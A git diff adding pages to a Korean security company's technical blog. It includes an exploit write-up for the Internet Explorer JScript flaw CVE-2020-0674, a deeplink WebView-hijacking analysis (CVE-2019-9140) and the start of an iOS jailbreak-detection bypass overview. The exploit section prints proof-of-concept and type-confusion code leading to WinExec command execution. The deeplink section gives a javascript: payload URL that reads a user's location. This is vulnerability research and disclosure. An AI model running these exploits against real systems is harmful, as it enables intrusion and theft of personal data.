diff --git a/_posts/2024-02-06-IoT-TechBlog-ko.md b/_posts/2024-02-06-IoT-TechBlog-ko.md index dbd9b39..464c612 100644 --- a/_posts/2024-02-06-IoT-TechBlog-ko.md +++ b/_posts/2024-02-06-IoT-TechBlog-ko.md @@ -2,19 +2,19 @@ layout: post markdown: kramdown highlighter: rouge -title: "하드웨어 해킹: 뉴비 입문기" +title: "뉴비들의 하드웨어 해킹 입문기" date: 2024-02-06 10:00:0 +0900 category: R&D author: 이주협, 이주영 author_email: jhlee2@stealien.com, jylee3@stealien.com background: /assets/bg.png profile_image: /assets/stealien_inverse.png -summary: "하드웨어 해킹 방법론" +summary: "뉴비들의 하드웨어 해킹 입문기" thumbnail: /assets/stealien.png lang: ko --- -# 하드웨어 해킹: 뉴비 입문기 +# 뉴비들의 하드웨어 해킹 입문기 > 이 포스트는 스틸리언 선제대응팀의 '이주협' 선임 연구원님과 '이주영' 연구원님이 정성스럽게 작성 해 주셨습니다. > diff --git a/docs/2020-04-13/Introduce.html b/docs/2020-04-13/Introduce.html new file mode 100644 index 0000000..1656e69 --- /dev/null +++ b/docs/2020-04-13/Introduce.html @@ -0,0 +1,175 @@ + + + + + + + + + + +기술 블로그 오픈 + +기술 블로그 오픈 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
ETC
+
기술 블로그 오픈
+
+
+ + Stealien +
+
Apr 13, 2020
+
+
+
+
+
+

시작합니다

+ +
+
+
+ +
+
+
Stealien
+
taejin@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2020-04-14/CVE-2020-0674.html b/docs/2020-04-14/CVE-2020-0674.html new file mode 100644 index 0000000..cdfd4a0 --- /dev/null +++ b/docs/2020-04-14/CVE-2020-0674.html @@ -0,0 +1,579 @@ + + + + + + + + + + +지원 종료된 Windows 7을 겨냥한 N-Day 원격 코드 실행 취약점 + +지원 종료된 Windows 7을 겨냥한 N-Day 원격 코드 실행 취약점 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
지원 종료된 Windows 7을 겨냥한 N-Day 원격 코드 실행 취약점
+
+
+ + Gogil +
+
Apr 14, 2020
+
+
+
+
+
+

개요

+

2020년 1월 14일, Microsoft Windows 7 운영체제의 지원이 중단되었다. 지원 중단된 운영체제를 사용할 경우, 보안 업데이트가 중단되어 악성 프로그램에 감염될 확률이 높다. 본 게시글은 공격자 관점에서 원격 코드 실행 취약점을 구현한다. 취약점을 구현하는 과정에서 요구되는 기술을 소개하고 보안 업데이트의 경각심을 높인다.

+ +

취약점 선택

+

Windows 7 운영체제는 Internet Explorer(IE) 웹브라우저가 기본 탑재되어 있다. Windows 보안 패치를 적용하지 않을 경우, IE의 보안 패치가 적용되지 않는다. 최신 패치가 적용되지 않은 소프트웨어는 N-Day 취약점에 노출되므로 IE는 공격 대상으로 적합하다. Windows 7 지원이 중단된 다음달, 2월 11일 패치가 배포된 CVE-2020-0674 취약점은 scripting engine에서 발생하는 memory corruption 취약점으로, wild에서 watering hole 공격에 사용되었다. 본 취약점이 발생하는 JScript는 IE8 버전 이하에서 동작하지만, IE9 이상 버전에서 문서 호환성 모드를 이용하면 호출 가능하다. 본 취약점에 대해 online에 공개된 내용이 적어, 공격자는 보안 업데이트의 패치 내역을 조사하여 취약점 발생 지점을 파악하고 exploit을 구현해야 한다.

+ +

패치 내역 조사 (Patch Diffing)

+

취약점 발생 지점을 파악하기 위해 scripting engine이 구현되어 있는 jscript.dll 모듈의 보안 업데이트 적용 전/후를 비교한다. 보안 업데이트 파일은 소프트웨어 제조사인 Microsoft 홈페이지에서 배포한다. 보안 업데이트 파일의 확장자는 msu이고, 파일 형식은 cab 압축 파일 형태이다. Expand 도구를 이용하여 압축 해제 및 파일 추출이 가능하다.

+ +

Diaphora, BinDiff 등의 diffing 도구를 IDA 디스어셈블러와 연동하여 사용한다. 패치 전 jscript.dll 5.8.9600.19597 버전과 패치 후 jscript.dll 5.8.9600.19626 버전을 비교한다.

+ + + + + + + + + + + + +
img
그림 1. Diaphora의 비교 결과
+ +

Parser::Parse, CScriptRuntime::EnsureGcAlloc, ScrFncObj::PerformCall, CSession::GetVarStack 함수 등이 추가되었다.

+ +

변경된 코드 중 Garbage Collector(GC)와 관련된 코드에 주목한다. 패치 이후 ScrFncObj::Call 함수가 간소화되고 기존 ScrFncObj::Call 함수의 코드가 새로운 이름의 ScrFncObj::PerformCall 함수에 구현되었다. 패치 이전 ScrFncObj::Call 함수의 코드가 ScrFncObj::PerformCall 함수로 이동된 부분을 제외하면, 추가된 코드는 ScavVarList::Init 함수 호출이다.

+ + + + + + + + + + + + +
img
그림 2. 패치 이전의 ScrFncObj::Call 함수
+ + + + + + + + + + + + +
img
그림 3. 패치 이후의 ScrFncObj::PerformCall 함수
+ +

ScrFncObj 클래스는 Script Function Object의 약자로 추정된다. ScrFncObj::Call 함수는 사용자 정의 함수 등의 스크립트가 call(호출)될 때 실행되는 함수다. 패치 이후 VAR::SetHeapJsObj 함수와 CScriptRuntime::Init 함수 사이에 ScavVarList 클래스를 사용하는 코드가 추가되었다. VarStack::ContainsVarList 함수는 session의 스택과 VarList를 인자로 받으며, session의 스택이 VarList를 포함하고 있는지 확인한다. VarList는 ScrFncObj::Call가 call하는 함수의 매개변수다. 추가된 코드를 해석하면, 매개변수가 현재 session의 스택에 포함되어 있지 않은 경우 ScavVarList::Init 함수를 호출한다. ScavVarList::Init는 IScavengerBase::LinkToGc 함수를 호출하여 VarList를 GC에 연결시킨다.

+ + + + + + + + + + + + +
img
그림 4. ScavVarList::Init 함수
+ +

Garbage Collector

+ +

JScript는 Number, String, Object 등의 객체를 Variant 구조로 구현한다. Variant는 32비트 환경에서 0x10 크기이다. 오프셋 0의 2바이트는 객체의 종류, 오프셋 8의 4바이트는 데이터 포인터를 저장한다. 메모리 관리의 효율성을 위해 100개의 Variant 저장이 가능한 GcBlock을 사용한다. GcBlock은 double linked list 형태다. 첫 4바이트는 이전 블록을 가리키는 포인터, 다음 4바이트는 다음 블록을 가리키는 포인터, 이후 Variant 100개 저장이 가능한 구조다. 32비트 환경에서 4+4+16*100의 0x648 크기를 가진다.

+ +

Garbage Collector는 표시하고 쓸기(Mark and Sweep) 알고리즘으로 동작한다. Mark(표시) 과정은 GcBlock을 순회하며 GcAlloc::SetMark 함수에서 수행한다. Variant 객체 종류를 나타내는 첫 2바이트에 0x800을 OR 연산하여 12번째 비트에 mark한다.

+ + + + + + + + + + + + +
img
그림 5. GcAlloc::SetMark 함수
+ +

다음으로 scavenge 과정을 수행한다. Scavenge 과정은 GcContext::ScavengeVar 함수에서 사용중인 Variant의 mark를 지운다. 0xF7FF를 AND 연산하여 12번째 비트를 0으로 설정한다.

+ + + + + + + + + + + + +
img
그림 6. GcContext::ScavengeVar 함수
+ +

Sweep(쓸기) 과정은 GcAlloc::ReclaimGarbage 함수에서 mark를 확인한 후 여전히 mark된 Variant에 대해 VAR::Clear 함수를 호출한다. VAR::Clear 함수는 객체 종류를 0으로 설정한다.

+ + + + + + + + + + + + +
img
그림 7. GcAlloc::ReclaimGarbage 함수
+ + + + + + + + + + + + +
img
그림 8. VAR::Clear 함수
+ +

GcBlock 내의 모든 Variant가 clear 상태일 때 GcBlockFactory::FreeBlk가 호출되며, GcBlockFactory::FreeBlk가 50번 호출될 때 메모리 free가 이루어진다.

+ + + + + + + + + + + + +
img
그림 9. GcBlockFactory::FreeBlk 함수
+ +

취약점 트리거

+ +

패치 내역 조사 결과로 미루어 보아 본 취약점은 함수 매개변수가 GC에 연결되지 않아 발생한다. 매개변수를 포인터로 사용하면 함수 실행중 매개변수가 Variant를 가리키게 설정 가능하다. 매개변수가 Variant를 가리키고 있는 상태에서 Variant를 해제하고 GC를 수행한다. 정상적인 경우, 매개변수가 가리키고 있는 Variant는 사용중이므로 scavenge에 의해 mark가 제거되어야 한다. 매개변수가 GC에 연결되어 있지 않은 경우, scavenge 과정에서 생략된다. Scavenge 과정에서 생략되어 mark가 제거되지 않으면, sweep 과정에서 mark된 Variant가 clear 된다. 이후 매개변수에서 Variant를 참조하면 매개변수는 Variant를 가리키고 있지만 해당 Variant는 clear된 상태이므로 Use After Free 취약점이 발생한다. JsArrayFunctionHeapSort, JsJSONStringify 등의 콜백함수에서 생성되어 전달되는 매개변수는 스택에 포함되어 있지 않다. 콜백함수에서 매개변수에 Variant를 저장하고, Variant를 해제한 후 GC를 수행하여 취약점 트리거가 가능하다.

+ +

개념 증명 코드는 다음과 같다.

+ +
<script language="Jscript.Encode">
+    var arr = new Array(1, 2);
+    arr.sort(fncCompare);
+     
+    function fncCompare(arg1, arg2) {
+        var variant = new Object();
+        arg1 = variant;
+         
+        variant = null;
+        CollectGarbage();
+         
+        alert( typeof arg1 );
+    }
+</script>
+
+ +

Typeof 명령어를 사용하면 CScriptRuntime::TypeOf 함수에서 Variant 객체 종류를 식별한다. 개념 증명 코드에서 typeof하는 Variant는 clear 상태이다. Clear 상태인 Variant는 객체 종류가 0이므로 typeof 결과가 undefined으로 출력된다.

+ + + + + + + + + + + + +
img
그림 10. TypeOf 함수에서 식별하는 Variant 메모리 덤프
+ +

NamedList를 이용한 Type Confusion

+ +

GcBlock이 해제된 후, 같은 크기의 메모리를 할당하면 LFH(Low Fragmentation Heap)에 의해 같은 주소에 메모리가 할당되어 Type Confusion을 발생시킬 수 있다. GcBlock은 GcBlockFactory::FreeBlk가 50번 호출되어야 메모리 해제를 수행한다. 임의의 Varaint를 50100개 해제한 후 GC를 호출하면 GcBlock 50개가 해제되므로 메모리 해제가 수행된다. JScript를 이용하는 공격자들은 원하는 크기의 메모리를 할당하기 위해 NamedList를 사용한다. 32비트 시스템에서 NamedList의 메모리는 ((2이름길이+0x32)*2+4) 크기로 할당된다. GcBlock의 크기는 0x648 이므로, 0x178 길이의 이름을 사용할 경우 0x648 크기의 메모리가 할당된다.

+ + + + + + + + + + + + +
img
그림 11. NameList::FCreateVval 함수에서 메모리 할당
+ +

매개변수가 가리키고 있는 해제된 Variant 위치에 새로 할당한 NamedList가 위치해야한다. 한 번의 Use After Free로는 가능성이 낮다. Exploit의 신뢰성을 높이기 위해 재귀함수를 이용하여 JsArrayFunctionHeapSort 함수를 1000번 호출한다. 콜백함수가 1000번 호출되면, 매개변수를 1000번 사용할 수 있다. Variant를 1000개 생성한 후, 재귀함수에서 각 매개변수에 대입한다. 각 매개변수는 전역변수에 저장해두고, 마지막 재귀함수에서 Variant를 해제하고 GC를 호출하여 취약점을 발생시킨다. 해제된 Variant 위치에 공격자가 컨트롤한 데이터를 위치시키기 위해 NamedList를 다수 생성한다.

+ +

Number Variant의 종류는 0x0003 이다. NamedList를 이용하여 가짜 Number Variant를 만든다. NamedList에서 생성하는 가짜 Variant는 해제되기 전 GcBlock에 위치한 Variant와 동일한 위치에 적재되어야 한다. NamedList는 GcBlock과 구조가 다르므로 패딩을 주어 위치를 맞춘다.

+ +

Type Confusion을 이용하여 가짜 Number를 구현한 코드는 다음과 같다.

+ +
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
+<script language="Jscript.Encode">
+    var arr_spray = new Array();
+    var arr_uaf = new Array();
+    var arr_overlap = new Array();
+ 
+    var arr_ref = new Array();
+    var arr_sort = new Array();
+ 
+    var callback_idx = 0;
+    var maxnum = 1000;
+ 
+    var name = "\u4141\u4141"; // padding
+    while (name.length != 0x16A) {
+        name += "\u0003\u0000\u0000\u0000\u1337\u0000\u0000\u0000"; // 0x0003 is Number
+    }
+    while (name.length != 0x178) {
+        name += "\u4141";
+    }
+    
+    function fncCompare(arg1, arg2) {
+        if (callback_idx < (maxnum-1)) {
+            arg1 = arr_uaf[callback_idx];
+            callback_idx = callback_idx + 1;
+            arr_sort[callback_idx].sort(fncCompare);
+            arr_ref.push(arg1);
+ 
+        } else {
+ 
+            // for GcBlockFactory::FreeBlk
+            for (var i = 0; i < 50 * 100; i++) {
+                arr_spray[i] = new Object();
+            }
+            for (var i = 0; i < 50 * 100; i++) {
+                arr_spray[i] = null;
+            }
+            CollectGarbage();
+ 
+            // free
+            for (var i = 0; i < maxnum; i++) {
+                arr_uaf[i] = null;
+            }
+            CollectGarbage();
+ 
+            // overlap
+            for (var i = 0; i < 0x1000; i++) {
+                arr_overlap[i][name] = 1;
+            }
+        }
+ 
+        return 1;
+    }
+ 
+    for (var i = 0; i < 0x1000; i++) {
+        arr_overlap[i] = new Array();
+    }
+ 
+    for (var i = 0; i < maxnum; i++) {
+        arr_sort[i] = new Array(1, 2);
+    }
+ 
+    for (var i = 0; i < maxnum; i++) {
+        arr_uaf[i] = new Object();
+    }
+ 
+    arr_sort[0].sort(fncCompare);
+ 
+    for (var i = 0; i < maxnum; i++) {
+        if ((typeof arr_ref[i]) === "number") {
+            if (arr_ref[i] === 0x1337) {
+                alert( i + " / " + typeof arr_ref[i] + " / " + arr_ref[i].toString(16) );
+                break;
+            }
+        }
+    }
+</script>
+
+ +

실행 결과는 다음과 같다.

+ + + + + + + + + + + + +
img
그림 12. 사용 중인 Object Variant
+ + + + + + + + + + + + +
img
그림 13. Clear 및 free된 Variant
+ + + + + + + + + + + + +
img
그림 14. NamedList에 의해 overlap되어 생성된 가짜 Number Variant
+ + + + + + + + + + + + +
img
그림 15. Type Confusion된 가짜 Number를 출력한 결과
+ +

Type Confusion을 이용한 Arbitrary Read

+ +

JScript는 문자열을 BSTR 형식으로 저장한다. 문자열을 나타내는 String Variant의 종류는 0x82 이고, 데이터는 BSTR의 Data String 포인터를 가리킨다. Type Confusion을 통해 가짜 String Variant를 생성할 때, BSTR의 포인터 대신 읽고자 하는 메모리 주소를 삽입한 후 문자열을 읽으면 임의 메모리 읽기가 가능하다. + JScript의 Image Base 주소를 얻기 위해 Object 객체의 메모리를 읽어야 한다. Object 객체는 종류 0x81인 Object Variant가 가리킨다. Use After Free 취약점에 사용되는 Object Variant에 RegExp 객체를 사용할 경우, Object Variant의 데이터는 RegExp 포인터가 저장된다. GcBlock을 해제하면 VAR::Clear가 Object Variant의 종류를 0으로 설정하지만, 데이터는 지우지 않는다. 이후 해제된 GcBlock을 재사용할 때, GcBlock은 해제되기 전 Object Variant의 데이터에 존재하는 RegExp 객체 포인터를 가지고 있다. 가짜 Number Variant의 데이터로 입력한 \u1337을 입력하지 않으면, 기존에 존재하는 RegExp 객체 포인터를 읽는다. RegExp 객체를 생성할 때, 패턴을 지정하면 RegExp 객체와 컴파일된 패턴 문자열이 차례로 GcBlock에 생성된다. 패턴 문자열은 문자열이 필요한 경우 사용이 가능하다.

+ + + + + + + + + + + + +
img
그림 16. NamedList에 의해 생성된 가짜 Number Variant와 객체 포인터
+ +

객체 메모리를 읽기 위해 가짜 String Variant를 생성하고 객체 포인터를 String Variant의 데이터로 삽입한다. 객체의 첫 4바이트는 JScript 모듈에 위치하는 객체 함수 주소 테이블이고, 오프셋 0x40 바이트 위치에 컴파일된 패턴 Variant의 주소가 있다. 객체 함수 주소 테이블에 0xFFFF0000을 AND 연산하여 JScript의 Image Base를 얻는다. 컴파일된 패턴 Variant 주소는 GcBlock에 존재하므로 RegExp 객체의 오프셋 0x40 바이트의 4바이트를 읽으면 NamedList Overlap을 수행하는 GcBlock의 주소를 알 수 있다.

+ + + + + + + + + + + + +
img
그림 17. RegExp 객체 메모리
+ +

JScript 모듈 주소를 기반으로 Kernel32 모듈의 WinExec 함수 주소를 구한다.

+ +

Code Execution

+

Object Variant를 이용하여 코드 실행이 가능하다. Typeof 메소드를 처리하는 CScriptRuntime::TypeOf에서 Variant의 데이터가 가리키는 값에 0x9C를 더한 주소가 가리키는 값으로 EIP가 변경된다.

+ + + + + + + + + + + + +
img
그림 18. CScriptRuntime::TypeOf 함수에서 가상 함수 호출
+ +

가짜 Object Variant를 생성하고 데이터 포인터로 현재 GcBlock의 조작 가능한 주소를 삽입한다. NamedList를 이용하여 데이터를 알맞게 조립하면 EIP 변경이 가능하다. EIP 변경을 통해 WinExec 호출이 가능하지만 인자 전달이 안되므로 JScript 내에 위치한 ROP 가젯을 이용한다. 가상 함수를 호출하기 전, EAX 레지스터에 Object Variant 데이터 포인터가 가리키는 값이 저장된다. EAX 값을 ESP로 이동하는 가젯으로 EIP를 변경한 후, WinExec로 이동하면 스택이 GcBlock에 존재하므로 인자 조절이 가능하다. RegExp 객체의 컴파일된 패턴 문자열을 WinExec의 인자로 사용하여 공격자가 원하는 명령어 실행이 가능하다.

+ + + + + + + + + + + + +
img
그림 19. WinExec 호출하여 커맨드 실행
+ +

 

+ +
+
+
+ +
+
+
Gogil
+
gogil@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2020-06-19/Deeplink.html b/docs/2020-06-19/Deeplink.html new file mode 100644 index 0000000..96f0ab2 --- /dev/null +++ b/docs/2020-06-19/Deeplink.html @@ -0,0 +1,316 @@ + + + + + + + + + + +Deeplink를 이용한 Webview Hijacking 공격 + +Deeplink를 이용한 Webview Hijacking 공격 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Deeplink를 이용한 Webview Hijacking 공격
+
+
+ + 장태진(TAEJIN) +
+
Jun 19, 2020
+
+
+
+
+
+

개요

+ +

안드로이드 어플리케이션 버그헌팅을 위해 사례 조사를 진행하였으며, 사례 조사를 위해 해커원을 이용했다. 해커원에서 한 해커가 Deeplink를 공격벡터로 하여 취약점을 발굴하는것을 확인하였으며, 이를 우리나라 어플리케이션에 공격을 진행해보았다. 구글 플레이 스토어에서 인기 앱 3000개를 다운받았으며, 그 중 “쇼핑몰”, “배달앱”을 집중적으로 분석한 결과, 많은 어플리케이션이 이 공격에 취약한 것으로 확인되었다. 발견한 취약점은 모두 KISA를 통해 신고를 하였으며, 대부분의 취약점이 지금은 패치되었다. 지금은 효율적인 공격을 위해 퍼저와 분석도구를 개발완료한 상태이다.

+ +

이 공격방식을 이용하여 발견한 H어플리케이션의 취약점은 CVE-2019-9140 를 받았으며, KISA에서는 심각도를 “HIGH”로 설정하였다.

+ +

참고: https://www.krcert.or.kr/data/secInfoView.do?bulletin_writing_sequence=35102

+ +


+ +

사전 지식 설명

+ + + +

Deeplink는 URI를 통해 어플리케이션을 작동하기위한 하나의 기능이다.

+ +

일반적으로 http://www.stealien.com 등의 URL을 클릭하면 자동으로 웹 브라우저가 실행된다.

+ +

운영체제는 어떻게 웹 브라우저를 실행시켜줄까? 이는 바로 웹 브라우저가 이 기능을 “명시”하였기 때문이다. 안드로이드 운영체제의 경우에는 AndroidManifest.xml에서 Browsable로 본인이 실행 되고 싶은 intent를 명시한다.

+ +

안드로이드 크롬 어플리케이션 또한 http 또는 https 로 실행될 때 해당 앱의 특정 클래스를 로딩해달라는것이 명시되어있다.

+ +

다른 일반적인 예시로는 동영상 플레이어가 있다. 파일어플리케이션이나 웹 브라우저에서 다운로드받은 동영상을 클릭하면 동영상 앱이 뜨는 경우가 있다. 이 또한 동영상 플레이어마다 AndroidManifest.xml에 명시된 규칙에 따라 실행되는 것이다. 안드로이드의 경우 동영상 플레이어가 여러개 설치되어있는 경우 어떤 동영상 플레이어로 실행할지 고르는 팝업이 뜨는데, 이는 해당 동영상 플레이어들의 실행 규칙에 해당하기 때문이다.

+ +

http 스키마 뿐만이 아니라 다른 여러가지 스키마를 사용 할 수 있는데, m사의 경우 melonapp://을, CVE-2019-9140의 H앱은 hmapp:// 을 사용한다.

+ +

Deeplink로 실행된 임의의 어플리케이션의 특정 클래스는 전달받은 URI를 파싱하고, 이 URI에 따라 작동한다. 예를 들어서 “태진 배달 어플리케이션”이 있다고 하자. 이 회사가 운영하고 있는 홈페이지에서 어플리케이션의 주문페이지를 열고 싶은 경우 “taejin://open?page=history”를 클릭하게 하여 주문 페이지를 열 수 있다.

+ +

Webview Hijacking

+ +

대부분의 어플리케이션은 웹뷰를 사용하는데, 이는 공지사항, 게시물 등 디자인/개발 문제로 인해 html로 보여줘야만 하는 경우에 주로 사용한다. 특히나 웹뷰를 핵심으로 사용하고 있는 웹앱과 하이브리드앱 또한 존재한다.

+ +

또한 대부분의 어플리케이션은 웹뷰에서 보여주고 있는 자사의 웹페이지와 어플리케이션의 연동을 위해 Javascript Interface를 사용하며, 이를 통해 웹 페이지에서 어플리케이션을 제어 할 수 있는 함수를 실행 할 수 있다. 일반적으로 사용자 계정을 제어하거나 파일 제어, 위치 정보 호출 등을 지원한다.

+ +

이러한 Javascript Interface를 공격자가 임의로 사용하기 위해서는 Webview에 공격자의 웹 사이트를 띄워야하므로, 우리는 이러한 행위를 Webview Hijacking이라고 부르기로 하였다.

+ + + +

이는 Deeplink를 공격벡터로 하여 Webview를 장악하는 것을 뜻한다. 취약점을 파급도를 높히기 위해 클릭 한번으로 앱을 제어 할 수 있는 Deeplink를 이용한 Webview Hijacking이다.

+ +


+ +

취약점 분석 (CVE-2019-9140)

+ +

개요

+ +

H어플리케이션은 Deeplink를 통해 Webview Hijacking을 할 수 있으며, 이 어플리케이션은 Javascript Interface에서 GPS정보를 제공해주는 함수를 구현하였기 때문에 위치정보를 탈취 할 수 있었다.

+ +

분석 시작

+ + + +

우선 AndroidManifest.xml을 분석한 결과 다음과 같은 deeplink를 통해 어플리케이션을 실행 할 수 있는 것을 확인하였다.

+ +

image-20200622125335429

+ +
    +
  • hpcapp://startActivity
  • +
  • happypointcard://deeplink
  • +
  • hmapp://gotohmhome
  • +
  • hmapp://gotohmsubwebview
  • +
+ +

2. 소스코드 분석

+ +

2.1 IntroActivity (파싱 부분)

+ +

위 네가지 경우에 com.hpapp.IntroActivity가 호출되므로 이 class를 우선적으로 분석한다.

+ +

image-20200622130500463

+ +

이 코드는 IntroActivity의 일부로, nextActivity이다. 이 메소드를 확인해보면 hpeventurl= 이라는 값이 전달받은 uri에 존재한다면str2를 hpeventurl= 이후의 값으로 만든다. 예를 들어 happypointcard://deeplink?hpeventurl=https://www.bughunting.net/이라는 값이 전달받은 uri인 경우 str2의 값은 https://www.bughunting.net/이 되는 것이다. 이 값은 공격자가 임의로 수정 할 수 있는 것이기 때문에 SecondIntroActivity.class로 이동 할 때 CommonDefine.INTENT_DATA_SHOW_HAPPY_MARKET 를 키로 하여 값으로 전달된다.

+ +

2.2 SecondIntroActivity (코드 실행 부분)

+ +

전달받은 CommonDefine.INTENT_DATA_SHOW_HAPPY_MARKETSecondIntroActivitygoMainActivity 메소드에서 MainActivity.class에 전달된다.

+ +

image-20200622131129707

+ +

2.3 MainActivity - 1 ( Webview Hijacking, URI가 Webview로 실행되기 까지)

+ +

MainActivity의 onCreate함수에서는 checkEvent 메소드를 실행한다.

+ +

image-20200622132831262

+ +

checkEvent메소드에서는 단순히 스키마를 체크하는 것이 아니라, intent를 와 this를 전달하여 체크한 스키마가 happypoint인 경우 MainActivity를 다시 실행하고, 로직에 따라 다시 웹뷰가 실행된다.

+ +

image-20200622133039429

+ +

지금은 아래와 같이 패치되었으나, 원래는 해당 부분에서 호스트네임을 검사하지 않았다. 만약 제대로 되어있다면 moveHappyMarket이 호출된다.

+ +

image-20200622133835757 )

+ +

호출된 아래 함수에서는 str이 공백이 아닌경우 INTENT_DATA_REDIRECT_URI의 value로 들어가는 것을 확인 할 수 있다. 이는 MainActivity를 다시 실행한다.

+ +

(아래 사진에 나와있는 코드는 해피포인트 6.4.3의 코드로, 취약점 분석을 진행한 해피포인트 앱의 버전과 다를 수 있다)

+ +

image-20200622133410837

+ +

MainActivity에서는 initRequestService 함수를 실행하며, 이 이후부터는 initWebview함수를 이용하여 Webview를 초기화하고 url을 전달받은 인자값으로 바꾼다.

+ +

image-20200622134642035

+ +

2.4 Javascript Interface 조사

+ +

Webview를 통해 앱 내에서 임의의 페이지를 열 수 있으므로 원하는 Javascript를 실행 할 수 있게 되었다. 이제 제어가 가능한 Webview에서 사용가능한 Javascript Interface를 찾아보아야한다. 분석 결과, 다음과 같은 함수들을 자바스크립트에서 실행 할 수 있었으며, 분석결과 현재 좌표, 동의 여부, 사용자 정보(전화번호)를 탈취 할 수 있었으며, 이외에도 앱의 일부 기능을 수행 할 수 있었다.

+ +

image-20200622135149357

+ +

image-20200622151108870

+ +

image-20200622151136809

+ +

3. PoC

+ +

URL에 대해 별다른 검증을 하지 않으므로, 다음과 같이 공격하였다.

+ +

happypointcard://deeplink?hpeventurl=javascript:window.App={recvLocation:function(a,b){alert(a+","+b)}};android.myLocationGPS()

+ +

이 URL을 /를 통해 일반 링크처럼 표시하였으며, 클릭시 다음과 같은 alert가 뜨는 것을 확인 할 수 있다. 또한 여건에 따라 출력된 데이터들을 Ajax를 통해 공격자의 서버에 저장 할 수 있다.

+ +

image-20200622151622681

+ +

image-20200622151840722

+ +

4. 대응방안

+ +

이 취약점을 포함하여 많은 어플리케이션을 제보하였고, KISA 연구원님들과 함께 보안 조치 매뉴얼을 제작할 수 있는 기회가 생겨 도움을 드렸다.

+ +

https://www.krcert.or.kr/data/guideView.do?bulletin_writing_sequence=35434

+ +

5. 기타

+ +
    +
  • +

    현재 KISA에서는 Deeplink 관련 취약점에 대해 포상을 진행하지 않는다.

    +
  • +
  • +

    참고 자료 없이 혼자서 연구한 부분이기 때문에 오류가 있을 수 있습니다. 오류를 찾으셨다면 taejin@stealien.com 으로 메일 부탁드립니다.

    +
  • +
+ + +
+
+
+ +
+
+
장태진(TAEJIN)
+
taejin@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2020-07-17/iOS.html b/docs/2020-07-17/iOS.html new file mode 100644 index 0000000..c15bac2 --- /dev/null +++ b/docs/2020-07-17/iOS.html @@ -0,0 +1,253 @@ + + + + + + + + + + +iOS 앱 보안과 우회 기법 + +iOS 앱 보안과 우회 기법 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
iOS 앱 보안과 우회 기법
+
+
+ + 함세련, 고기완 +
+
Jul 17, 2020
+
+
+
+
+
+

1. 개요

+ +

 피싱 앱을 통한 신종 보이스 피싱 등 모바일 앱을 대상으로 하는 공격이 있다. 앱 개발사는 공격자로부터의 해킹을 예방하기 위해 앱 배포 전 백신, 플랫폼 해킹 탐지, 역공학 방지, 앱 위변조 여부를 확인한다. 이러한 대처에도 불구하고 블랙 해커들로 인해 동일한 사고가 발생하고 있다. 현존하는 iOS 보안 기술 동향들을 연구 및 기술하고 보안 솔루션에 우회 기술을 적용해보아 앞으로의 보안 기술 발전에 조금이나마 도움이 되고자 한다.

+ +

2. iOS 앱 보안 기술

+ +

 공격자들이 피해자들에게 위변조된 앱을 배포하기 위해서, OS 위변조 탐지(=플랫폼 해킹 탐지)와 앱 위변조 탐지 우회가 필수적이다. third-party APP 설치를 위해서는, 순정단말이 아닌 OS가 변조된 jailbreak device이어야만 한다. 주요 로직(ex. ID, PWD 전송, 계좌 송금 등) 변조를 위해서는 앱을 위변조하여 실행해야 한다. 그러나 개요에서 설명하였듯이, 보안 모듈로 인해 jailbreak device, 앱 위변조는 탐지되므로 앱 이용이 불가하다. 배포되어 악의적인 수행을 하는 APP들은 현존하는 OS 위변조 탐지, 앱 위변조 탐지 기술들을 우회하도록 위변조됐다. 그렇기에 이 두 가지 보안 기술을 중점으로 살펴봤다.

+ +

1) OS 위변조 탐지 

+ +

- File/Directory 존재 여부 확인
+iOS는 앱을 통한 시스템 변조 가능성을 배제하기 위해, 각 앱마다 sandbox라는 앱 접근 가능 영역이 존재한다. 하지만 시스템 앱은 system partition에 설치되며 sandbox 제한이 없다. 그러므로 공격자들은 공격 도구, Cydia와 같은 Tweak관련 파일들을 root partition(=system partition) 하위 경로에 저장한다. system partition 검사를 통해 탈옥 관련 파일 리스트를 추출한 후 경로 검사를 통해 jailbreak 탐지가 가능하다.

+ +

- File/Directory 접근 권한 확인/변조
+jailbreak 도구 실행 시, 접근 권한이 변경되는 file/directory가 존재한다. 단말기에서 각 앱들의 sandbox 영역 외 File/Directory 권한 확인 가능, 파일 권한값 획득 여부 검사를 통해서 탈옥을 검증한다. 

+ +

- File 작성, 수정 및 제거 시도 
+jailbreak 툴들은 설치한 thirdparty-app의 sandbox를 무력화시키기도 한다. 그러므로 탈옥단말기에서는 sandbox 외 시스템 File, directory 접근 가능하다. 각 앱들의 sandbox 영역 외 File/Directory 경로 접근 및 읽기, 쓰기, 제거, 작업 디렉터리 경로 변경 등을 시도하여 탈옥 탐지가 가능하다. 주로 /tmp 하위 폴더 내 작업 시도한다.

+ +

- 동적 라이브러리 확인
